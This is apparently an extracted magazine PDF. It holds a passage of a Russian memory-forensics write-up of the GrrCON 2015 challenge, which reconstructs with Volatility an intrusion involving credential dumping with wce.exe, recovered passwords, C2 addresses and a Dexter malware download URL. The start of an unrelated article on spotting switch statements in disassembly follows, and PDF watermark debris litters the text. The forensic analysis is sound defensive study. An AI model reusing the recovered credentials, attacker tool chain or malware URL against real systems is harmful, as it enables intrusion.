python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 handles -p 2996 -t MUTANT0

Поиск­ созданно­ ­го мьютекса­ процес­ ­са iexplore.exe

Чтобы­ предот­ вра­ тить­ повторный­ запуск, вредонос­ ный­ модуль создал­ мьютекс fsociety0.dat. Теперь получим NTLM-хеш пользовате­ ля­ Administrator, для чего восполь­ ­зуем­ся плагином­ hashdump.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 hashdump0

NTLM-хеш пользовате­ ­ля Administrator

Восста­ ­новим дальнейшие­ действия­ злоумыш­ ­ленни­ка. Для этого­ восполь­ ­ зуемся­ плагином­ consoles.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 consoles > c69-Grrcon2015/target1/

consoles0

Резуль­ тат­ вывода утилиты­ consoles

Злоумыш­ ленник­ загрузил­ три основные утилиты­ в каталог C:\Windows\Temp: wce.exe — редактор­ учетных­ данных­ Windows, nbtscan.exe — программа­

для сканиро­ вания­ локальной­ сети на наличие Windows-машин, getlsasrvaddre.exe позволя­ ет­ получить список­ сессий­ залогинен­ ных­ поль ­ зователей­ Windows и извлечь LM/NT-хеши.

С помощью утилиты­ wce.exe злоумыш­ ­ленник получил пароль flagadmin@1234 пользовате­ ­ля Administrator.

 

 

Получе­

ние­ пароля пользовате­

ля­ Administrator

 

 

 

 

 

 

 

 

Далее­

злоумыш­

ленник­

залогинил­ ся­ в системе­

от имени­ админис­ тра­ тора­

и запустил­ командную­

оболоч­ ку­ .

 

 

 

Запуск­ командной­ строки­ от имени­ админис­ тра­ тора­

Найдем­ дату создания­ утилиты­ nbtscan.exe. Для этого­ проана­ лизи­ руем­ MFT-таблицу­ с использовани­ ем­ плагина­ mftparser.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 mftparser | grep nbtscan.exe0

 

 

 

Анализ­ MFT-таблицы­

 

 

 

 

 

 

 

 

 

Дата­ создания­

утилиты­

: 2015-10-09 10:45:12 UTC. Теперь

посмотрим­

на содержимое­

каталога­ C:\Windows\Temp. Там среди­ прочего­

обнаружи­

­

вается­ файл nbs.txt.

 

 

 

 

 

Поиск­ файла­ nbs.txt

Получим­ его содержимое­ , восполь­ ­зовав­шись утилитой­ dumpfiles: адрес файла­ в памяти 0x000000003fdb7808.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdb7808 -D c69-

Grrcon2015/target1/dumpfiles0

Содер­ жимое­ файла­ nbs.txt

Итак, мы выяснили­ , что IP-адрес первой­ машины — 10.1.1.2. Проана­ лизи­ ­ руем сетевую активность хоста­ , для этого­ восполь­ зуем­ ся­ плагином­ netscan.

Сетевая­ активность

Вредонос­ ­ный процесс­ iexplore.exe с идентифика­ ­тором 2996 взаимо­ ­дей ­ ствует­ с управляющим­ сервером­ по адресу­ 180.76.254.120:22. Далее зло ­ умышленни­ ­ки подклю­ ­чились к хосту­ 10.1.1.21 по протоко­ ­лу RDP. Чтобы­ управлять скомпро­ ­мети­рован­ной машиной, атакующие­ установи­ ­ли на нее

TeamViewer.exe.

На данном­ этапе­ мы проана­ лизи­ рова­ ли­ оператив­ ную­ память хоста­ Target1, нашли­ точку­ входа­ в сеть организа­ ции­ . Используя­ фишинговое­ сообщение­ , содержащее­ заголовок­ письма­ Udate your VPN Client, злоумыш­ ленник­ th3wh1t3r0s3@gmail.com отправил­ вредонос­ ную­ ссылку­ . Пользователь­ машины Target1 загрузил­ исполняемый­ файл AnyConnectInstaller.exe, после­ запуска­ которого­ атакующий­ установил­ контроль­ над компьюте­ ром­ . Затем он загрузил­ дополнитель­ ные­ утилиты­ и повысил привиле­ гии­ в системе­ . Наконец, злоумыш­ ленник­ подклю­ чил­ ся­ к хосту­ 10.1.1.21 по протоко­ лу­ RDP, используя­ пароль flagadmin@1234 пользовате­ ля­ Administrator.

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

РАССЛЕДУЕМ КИБЕРИНЦИДЕНТ MRROBOT

ИССЛЕДОВАНИЕ МАШИНЫ TARGET2

Получим­ первичную­ информацию­ об исследуемом­ образе­ .

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss

imageinfo0

Информа­ ­ция об операци­ ­онной системе­

python2 vol.py -f /mnt/c/Users/DonNod/Downloads/c69-Grrcon2015/

target2/target2-6186fe9f.vmss --profile=Win7SP1x86_23418 printkey -K

"ControlSet001\Control\ComputerName\ComputerName"

Имя компьюте­ ­ра

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss

--profile=Win7SP1x86_23418 printkey -K ControlSet001\Services\Tcpip\P

arameters\Interfaces{e29ac6c2-7037-11de-816d-806e6f6e6963}

IP-адрес хоста­

Профиль­ операци­ онной­ системы­ — Win7SP1x86_23418, IP-адрес хоста­ — 10.1.1.21, имя компьюте­ ра­ — GIDEON-PC. Теперь восста­ новим­ последова­ ­ тельность­ действий­ злоумыш­ ленни­ ка­ на скомпро­ мети­ рован­ ном­ компьюте­ ре­ . Для начала получим информацию­ из консоли­ .

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss

--profile=Win7SP1x86_23418 consoles > c69-Grrcon2015/target2/

consoles0

Вывод­ плагина­ consoles

Злоумыш­ ­ленник загрузил­ утилиту­ wce.exe и получил пароли пользовате­ ­лей в системе­ . Посмотрим­ , что хранит­ ­ся в файле­ w.tmp. Для этого­ выгрузим­ его так же, как выгружали­ для хоста­ Target1.

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss

--profile=Win7SP1x86_23418 filescan > c69-Grrcon2015/target2/

filescan0

Адрес­ файла­ w.tmp в исследуемом­ образе­ — 0x000000003fcf2798.

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss

--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fcf2798 -D c69-

Grrcon2015/target2/dumpfiles0

Содер­ жимое­ файла­ w.tmp

Мы определи­ ли­ пароль пользовате­ ля­ gideon t76fRJhs.

Далее­ атакующий­ примон­ тировал­ системный­ диск контрол­ лера­ домена \\ 10.1.1.2\c$, используя­ пароль пользовате­ ля­ Administrator. Скопиро­ вал­ программу­ архивато­ ра­ rar.exe и создал­ на примон­ тирован­ ном­ диске­ папку­ crownjewels.

После­ этого­ злоумыш­ ­ленник заархивиро­ ­вал все файлы­ с расширени­ ­ем . txt на диске­ и задал пароль от архива­ 123qwe!@#. Архив получил имя crownjewlez.rar. Так как на исследуемом­ хосте­ архив не хранит­ ­ся и он открывал­ ­ся только­ из командной­ строки­ , то информацию­ о сжатых­ файлах­ можно­ поискать­ в памяти процес­ ­са. Получим дамп процес­ ­са и найдем­ в нем все файлы­ с расширени­ ­ем .txt.

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss

--profile=Win7SP1x86_23418 pstree > c69-Grrcon2015/target2/pstree0

Дерево­ процес­ сов­

Сдампим­ адресное пространс­ тво­ процес­ са­ с идентифика­ тором­ 3048.

python2 vol.py -f /mnt/c/Users/DonNod/Downloads/c69-Grrcon2015/

target2/target2-6186fe9f.vmss --profile=Win7SP1x86_23418 memdump -p

3048 -D /mnt/c/Users/DonNod/Downloads/c69-Grrcon2015/target2/0

Выведем­ строки­ в полученном­ файле­ , но помним­ , что они в 16-битной­ кодировке­ .

strings -e l 3048.dmp | grep -i 3048.dmp0

Обнаружен­ ные­ файлы­ с расширени­ ем­ txt в дампе­ процес­ са­ Проана­ лизи­ руем­ Tasks Shedulers. Найдем­ файлы­ tasks и выгрузим­ их.

Обнаружен­ ный­ файл задачи At1

Адрес­ файла­ At1 — 0x000000003fc399b8.

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss

--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fc399b8 -D c69-

Grrcon2015/target2/dumpfiles0

Содер­ жимое­ задачи At1

С помощью планиров­ щика­ задач злоумыш­ ленник­ запустил­ скрипт 1.bat. Выг ­ рузим его, адрес файла­ в памяти — 0x000000003f427e50.

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss

--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003f427e50 -D c69-

Grrcon2015/target2/dumpfiles0

Содер­ жимое­ файла­ 1.bat

Скрипт 1.bat запускает­ утилиту­ wce.exe.

Мы проана­ лизи­ рова­ ли­ образ операци­ онной­ системы­ на компьюте­ ре­ Target2, восста­ нови­ ли­ действия­ злоумыш­ ленни­ ка­ . После­ компро­ мета­ ции­ сис ­ темы выгрузили­ файлы­ с расширени­ ем­ .txt на контрол­ лере­ домена 10.1.1. 2, сохранили­ в запаролен­ ный­ архив, а также­ получили­ пароль пользовате­ ля­

gideon.

АНАЛИЗ ХОСТА POS

Получим­ первичную­ информацию­ об исследуемой­ системе­ .

python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss imageinfo

Профиль­ исследуемо­ ­го образа­

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss

--profile=Win7SP1x86_23418 printkey -K "ControlSet001\Services\Tcpip\

Parameters\Interfaces{e29ac6c2-7037-11de-816d-806e6f6e6963}"

IP-адрес хоста­

python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss --profile

=Win7SP1x86_23418 printkey -K "ControlSet001\Control\ComputerName\C

omputerName"

Имя компьюте­ ра­

Профиль­ исследуемо­ го­ образа­ — Windows7SP1x86_23418, IP-адрес хоста­ —

10.1.1.10, имя компьюте­ ра­ — POS-01-PC.

Получим­ информацию­ обо всех запущенных­ процес­ ­сах и сетевой активности­ .

python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss

--profile=Win7SP1x86_23418 pstree > c69-Grrcon2015/pos01/pstree0

Процесс­ iexplore.exe

Находим­ процесс­ iexplore.exe с идентифика­ ­тором 3208. Запустим­ плагин­ malfnd для поиска­ внедренно­ ­го в адресное пространс­ ­тво процес­ ­сов кода.

python2 vol.py -f /mnt/c/Users/Forensics/Downloads/c69-Grrcon2015/

pos01/POS-01-c4e8f786.vmss --profile=Win7SP1x86_23418 malfind > /mnt/

c/Users/Forensics/Downloads/c69-Grrcon2015/pos01/malfind0

Работа­ утилиты­ malfnd

Из рисунка­ выше видно­ , что в процес­ се­ iexplore.exe с идентифика­ тором­ 3208 обнаруже­ на­ область памяти с защитой на запись, чтение­ и выполнение­ , а также­ виден заголовок­ MZ (magic byte исполняемо­ го­ файла­ ). Мы на верном­ пути. Попробу­ ем­ выгрузить­ этот код с помощью плагина­ malfnd и найдем­ первичную­ информацию­ о вредоно­ се­ .

python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss --profile

=Win7SP1x86_23418 malfind -p 3208 -D c69-Grrcon2015/pos01/0

Выясним­ MD5-хеш полученного­ файла­ :

491e1a4b51a09d234c9356822cf521a7 — и найдем­ его на VirusTotal.

Данный­ модуль относит­ ся­ к семейству­ вредоно­ сов­ Dexter. Найдем­ сетевое взаимо­ дей­ ствие­ с управляющим­ сервером­ .

python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss

--profile=Win7SP1x86_2 3418 netscan > c69-Grrcon2015/pos01/netscan0

Сетевое­ взаимо­ дей­ ствие­ процес­ са­ iexplore.exe

Вредонос­ ­ный процесс­ установил­ соединение­ с управляющим­ сервером­ , имеющим­ IP-адрес 54.84.237.92, по порту­ 80.

Давай­ получим дамп адресного­ пространс­ ­тва процес­ ­са с идентифика­ ­ тором 3208 и вытащим все URL-адреса­ , для чего будем использовать­ утилиту­ bulk_extractor.

python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss --profile

=Win7SP1x86_23418 memdump -p 3208 -D ./0

Мы получили­ файл 3208.dmp. Запустим­ утилиту­ bulk_extractor.

bulk_extractor 3208.dmp -o bulk_ex0

В каталоге­ bulk_ex хранит­ ся­ вся извлечен­ ная­ структуриро­ ван­ ная­ информа ­ ция, полученная­ из файла­ 3208.dmp. В файле­ url_histograms содержатся­

все домены, а также­ число­ обращений­ к ним.

Загрузка­ вредонос­ ного­ модуля

Модуль­ загружал­ ся­ с адреса­ http://54.84.237.92/allsafe_update.exe,

оригиналь­ ное­ имя файла­ — allsafe_update.exe. Также­ для поиска­ URL в файле­ 3208.dmp можно­ восполь­ зовать­ ся­ регулярным­ выражением­ /(

https?:\/\/)?([\w\.-]+)([\/\w \.-]*)/ и плагином­ yarascan.

python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss --profile

=Win7SP1x86_23418 yarascan -Y “/(https?:\/\/)?([\w\.-]+)([\/\w \.-]*

)/” -p 32080

Попробу­ ­ем найти­ все файлы­ с расширени­ ­ем .exe в адресном пространс­ ­тве дампа­ процес­ ­са. Откроем­ файл в hex-редакторе­ .

Обнаружен­ ные­ файлы­ с расширени­ ем­ exe

Специфич­ ­ное имя исполняемо­ го­ файла­ для Allsafecybersec — allsafe_protector.exe. Мы исследова­ ли­ образ оператив­ ной­ памяти хоста­ POS, обнаружи­ ли­ вредонос­ ный­ процесс­ с идентифика­ тором­ 3208, выявили­ сетевую активность с управляющим­ сервером­ 54.84.237.92. Загружен­ ный­ модуль относит­ ся­ к семейству­ вредонос­ ных­ программ­ Dexter.

ВЫВОДЫ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, мы восста­ нови­

ли­ действия­

злоумыш­

ленни­

ков­ , проана­ лизи­

ровав­

обра ­

зы системной­

памяти Windows. С помощью фишингового­

сообщения­

, содер ­

жащего ссылку­ на обновления­

 

VPN-клиента­

, пользователь­

хоста­

загрузил­

вредонос­

ный­

 

файл и запустил­ его. На машину установил­

ся­ вредонос­

семей ­

ства XtremeRAT, с его помощью злоумыш­

ленни­

ки­ управляли­ скомпро­ мети­

­

рованной­

машиной.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Далее­

атакующие­

 

получили­

пароль

 

 

 

 

пользовате­

ля­

 

front-desk

и Administrator. Для закрепле­

ния­ в системе­

использовалась­

ветка­

реестра­

SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Компро­ мета­

ция­

 

сис ­

темы произош­

ла­ в 11:31:27 09.10.2015

 

UTC.

 

С помощью учетной­

записи

Administrator злоумыш­

ленник­

получил доступ­ к хостам­

GIDEON-PC и POS-

01-PC. На компьюте­ ре­ GIDEON-PC атакующий­

примон­ тировал­

системный­

диск

контрол­

лера­

домена 10.1.1.2\$c и выгрузил­

три файла­ с расширени­

ем­ .

txt. Далее атакующий­

получил доступ­ к компьюте­ ру­ POS-01-PC и загрузил­

на него малварь­

семейства­

Dexter.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

w Click

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМ

САМОДЕЯТЕЛЬНОСТЬ

КОМПИЛЯТОРОВ ПРИ ТРАНСЛЯЦИИ ОПЕРАТОРА ВЫБОРА

Крис Касперски

Известный российский хакер. Легенда ][, ex-

редактор ВЗЛОМа. Также известен под псевдонимами

мыщъх, nezumi (яп. , мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

Юрий Язев

Широко известен под псевдонимом yurembo.

Программист, разработчик видеоигр, независимый исследователь. Старый автор журнала «Хакер». yazevsoft@gmail.com

В этой статье мы изучим­ оператор­ выбора switch. Давай

разберем­ ся­ , какие формы­ он может принять­ в двоичном­ коде, как разные­ компилято­ ры­ трансли­ руют­ его и как его найти­ в дизассем­ бли­ рован­ ном­ коде по характерным­ приз ­ накам.

Пятнадцать­ лет назад эпичес­ ­кий труд Криса­ Каспер­ ­ски «Фундамен­ ­таль­ные основы­ хакерства­ » был настоль­ ­ной книгой­ каждого­ начинающе­ ­го исследова­ ­ теля в области компьютер­ ­ной безопасности­ . Однако­ время­ идет, и знания­ , опубликован­ ­ные Крисом­ , теряют­ актуаль­ ­ность. Редакторы­ «Хакера» попыта ­ лись обновить­ этот объемный­ труд и перенести­ его из времен­ Windows 2000 и Visual Studio 6.0 во времена­ Windows 10 и Visual Studio 2019.

Ссылки­ на другие­ статьи из этого­ цикла­ ищи на странице­ автора­ .

ИЩЕМ ОПЕРАТОРЫ SWITCH — CASE — BREAK В БИНАРНОМ КОДЕ

Для улучшения­ читабельнос­ ти­ программ­ в язык C был введен­ оператор­ мно ­ жествен­ ного­ выбора — switch. В Delphi с той же самой задачей справляет­ ся­ оператор­ CASE, более гибкий­ , чем его C-аналог­ , но об их различи­ ях­ мы поговорим­ позднее­ .

Легко­ показать, что switch эквивален­ ­тен такой конструк­ ­ции:

IF (a == x1) THEN оператор­

10

 

 

 

 

«ELSE IF (a == X2) THEN оператор­

20

 

 

IF (a == X2) THEN оператор­

20

 

 

»

IF (a == X2) THEN оператор­

20

 

 

 

 

 

 

ELSE ... оператор­

по умолчанию­

 

 

 

Если­ изобразить­

это ветвле­ ние­

в виде логического­

дерева, то образует­

ся­

характерная­

«косичка­ ».

 

 

 

 

 

 

Трансля­ ция­ операто­ ра­ switch в общем случае­

Казалось­ бы, идентифици­ ­ровать switch никакого­ труда­ не составит­ — даже не строя дерева, невозможно­ не обратить­ внимание­ на длинную­ цепочку­ гнезд, проверя­ ­ющих истинность условия­ равенства­ некоторой­ переменной­ с серией­ непосредс­ ­твен­ных значений­ (сравнения­ переменной­ с другой­ переменной­ оператор­ switch не допускает­ ).

Однако­ в реальной­ жизни­ все происхо­ ­дит совсем­ не так. Компилято­ ­ры (даже неоптимизи­ ­рующие) трансли­ ­руют switch в настоящий­ «мясной­ рулет», доверху­ нашпигован­ ­ный всевоз­ ­можны­ми операци­ ­ями отношений­ . Давай откомпилиру­ ­ем следующий­ код компилято­ ­ром Microsoft Visual C++ 2022:

#include <stdio.h>

int main()

{

int a = 0x666;

switch (a)

{

case 0:

printf("a == 0");

break;

case 1:

printf("a == 1");

break;

case 2:

printf("a == 2");

break;

case 0x666:

printf("a == 666h");

break;

default:

printf("Default");

}

}

Вывод­ приложе­ ния­ switch_cases

Теперь­ посмотрим­ в IDA на результат­ дизассем­ бли­ рова­ ния­ .

Дерево­ распусти­ ло­ ветки­ во все стороны­ . Можно­ сделать­ однозначный­ вывод: в дизассем­ бли­ руемой­ программе­ присутс­ тву­ ет­ оператор­ мно­ жествен­ ного­ выбора switch-case

main

proc near ; CODE XREF: __scrt_common_main_seh+107↓p

;DATA XREF: .pdata:0000000140004018↓o

;Объявляем две локальные переменные,

;но почему две, если в исходном коде объявлена только одна?

var_18

=

dword

ptr

-18h

var_14

=

dword

ptr

-14h

; Резервируем место для

локальных переменных

 

sub

rsp, 38h

;Инициализируем локальные переменные:

;var_14 присваиваем значение 0х666, следовательно, это переменная a

 

 

 

 

 

mov

 

[rsp+38h+var_14], 666h

 

 

 

 

 

 

 

 

 

 

 

 

mov

 

eax, [rsp+38h+var_14]

 

 

 

 

 

 

 

Перемен­

ной­

var_18 присваиваем­

это же значение­

. Обрати­ внимание­

:

ее

создает­

оператор­

switch для собствен­

ных­

нужд. Значит­ , мы определи­

ли­ ,

для чего в программе­

объявле­

на­ вторая­

 

локальная­

переменная­ ! Она нужна­

для хранения­

первоначаль­

ного­

значения­

. Таким образом­ , даже если зна ­

чение сравнива­

емой­

переменной­

var_14 в каком то ответвле­ нии­

CASE будет

изменено­

, это не повлияет­

на

результат­

выборов, посколь­

ку­ значение­

переменной­ var_18 не поменяется­

!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mov

 

 

[rsp+38h+var_18], eax

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; Сравниваем значение var_18 с нулем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

cmp

 

[rsp+38h+var_18], 0

 

 

 

 

 

 

 

;Если сравнение успешно, переходим в блок кода, выводящий в консоль

"a == 0"

;Этот код получен трансляцией ветки case 0: printf("a == 0");

;Иначе продолжаем выполнение

jz

short loc_140001115

; Сравниваем значение var_18 с 1

cmp

[rsp+38h+var_18], 1

;В случае успеха прыгаем внутрь блока кода для вывода "a == 1"

;Этот код получен трансляцией ветки case 1: printf("a == 1");

;Иначе продолжаем выполнение

jz

short loc_140001123

; Сравниваем значение var_18 с 2

cmp

[rsp+38h+var_18], 2

;В случае равенства выводим "a == 2"

;Этот код получен трансляцией ветки case 2: printf("a == 2");

;Иначе продолжаем выполнение

jz

short loc_140001131

; Сравниваем var_18

и 0x666

cmp

[rsp+38h+var_18], 666h

;Если равно, выводим "a == 666h"

;Этот код получен трансляцией ветки case 0x666: printf("a == 666h");

jz

short loc_14000113F

Если­ мы досюда добрались­ , значит­ , ни одно условие­ не сработа­ ­ло, поэтому­ выполняем­ дефолтное­ действие­ : делаем­ безусловный­ переход в блок кода для вывода строчки­ Default.

Этот код получен трансля­ ­цией ветки­ default: printf("Default");:

jmp

short loc_14000114D

 

 

 

 

 

; ------------------------------------------------

 

 

 

loc_140001115:

 

;

CODE XREF: main+19↑j

; printf("a == 0");

 

 

 

lea

rcx, _Format

;

"a == 0"

call

printf

 

 

А вот этот безусловный­ переход, выносящий­ управление­ за пределы­ switch — в конец программы­ , есть оператор­ break, находящий­ ­ся в конце­ каждой­ ветки­ . Если бы его не было, то начали бы выполнять­ ­ся все остальные­

ветки­ case, независимо­

от того, к какому значению­

var_18 они принад­ лежат­

!

 

 

jmp

short loc_140001159 ; break

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; ------------------------------------------------

 

 

 

 

 

 

loc_140001123:

 

 

; CODE XREF: main+20↑j

 

 

; printf("a == 1");

 

 

 

 

 

 

lea

rcx, aA1

; "a == 1"

 

 

 

call

printf

 

 

 

 

 

jmp

short loc_140001159 ; break

 

 

; ------------------------------------------------

 

 

 

 

 

 

loc_140001131:

 

 

; CODE XREF: main+27↑j

 

 

; printf("a == 2");

 

 

 

 

 

 

lea

rcx, aA2

; "a == 2"

 

 

 

call

printf

 

 

 

 

 

jmp

short loc_140001159 ; break

 

 

; ------------------------------------------------

 

 

 

 

 

 

loc_14000113F:

 

 

; CODE XREF: main+31↑j

 

 

; printf("a == 666h");

 

 

 

 

 

lea

rcx, aA666h

; "a == 666h"

 

 

 

call

printf

 

 

 

 

 

jmp

short loc_140001159 ; break

 

 

; ------------------------------------------------

 

 

 

 

 

 

loc_14000114D:

 

 

; CODE XREF: main+33↑j

 

 

; printf("Default");

 

 

 

 

 

 

lea

rcx, aDefault

; "Default"

 

 

 

call

printf

 

 

 

 

loc_140001159: ; Конец SWITCH

; CODE XREF: main+41↑j

 

 

 

 

 

; main+4F↑j ...

 

 

; Возвращаем 0

 

 

 

 

 

 

 

xor

eax, eax

 

 

 

 

; Восстанавливаем стек

 

 

 

 

 

add

rsp, 38h

 

 

 

 

 

retn

 

 

 

 

 

main

endp

 

 

 

 

Выглядит­ довольно­ прямоли­ ­ней­но. Дизассем­ ­блер­ный листинг­ можно­ условно разделить­ на две части­ : первая­ часть — сам оператор­ выбора, откуда­ каждое­ условие­ передает­ управление­ во вторую­ часть — конкрет­ ­ную ветку­ , соответс­ ­ твующую­ этому­ условию­ .

Для сравнения­ взглянем­ , какой код постро­ ­ит C++Builder 10 на основе­ этой же программы­ :

public main

main

 

 

 

 

proc near ;

DATA XREF: __acrtused+29↑o

 

 

 

 

 

; Как много локальных переменных!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_38

 

 

 

 

= dword

ptr

-38h

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_34

 

 

 

 

= dword

ptr

-34h

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_30

 

 

 

 

= dword

ptr

-30h

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_2C

 

 

 

 

= dword

ptr

-2Ch

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_28

 

 

 

 

= dword

ptr

-28h

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_24

 

 

 

 

= dword

ptr

-24h

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_20

 

 

 

 

= dword

ptr

-20h

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_1C

 

 

 

 

= dword

ptr

-1Ch

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_18

 

 

 

 

= dword

ptr

-18h

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_14

 

 

 

 

= dword

ptr

-14h

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_10

 

 

 

 

= qword

ptr

-10h

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_8

 

 

 

 

= dword

ptr

-8

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var_4

 

 

 

 

= dword

ptr

-4

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; Открываем кадр стека

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

push

 

 

rbp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; Резервируем место для

локальных переменных

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

sub

 

 

rsp, 60h

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; В RBP сохраняем указатель

на дно стека

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

lea

 

 

rbp, [rsp+60h]

 

 

 

 

 

 

 

 

 

 

 

 

; Инициализируем локальные переменные:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mov

 

 

[rbp+var_4], 0

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mov

 

 

[rbp+var_8], ecx

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mov

 

 

[rbp+var_10], rdx

 

 

 

 

 

 

 

 

 

 

 

 

; var_14 присваиваем значение 0х666, следовательно, это переменная a

 

 

 

 

 

 

 

mov

 

 

[rbp+var_14], 666h

 

 

 

 

 

 

 

 

 

 

 

 

; В ECX помещаем значение var_14

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mov

 

 

ecx, [rbp+var_14]

 

 

 

 

 

 

 

 

 

 

 

 

; Следующим элегантным образом сравниваем значение var_14 с нулем

 

 

 

 

 

 

 

test

 

 

ecx, ecx

 

 

 

 

 

 

 

 

 

 

 

 
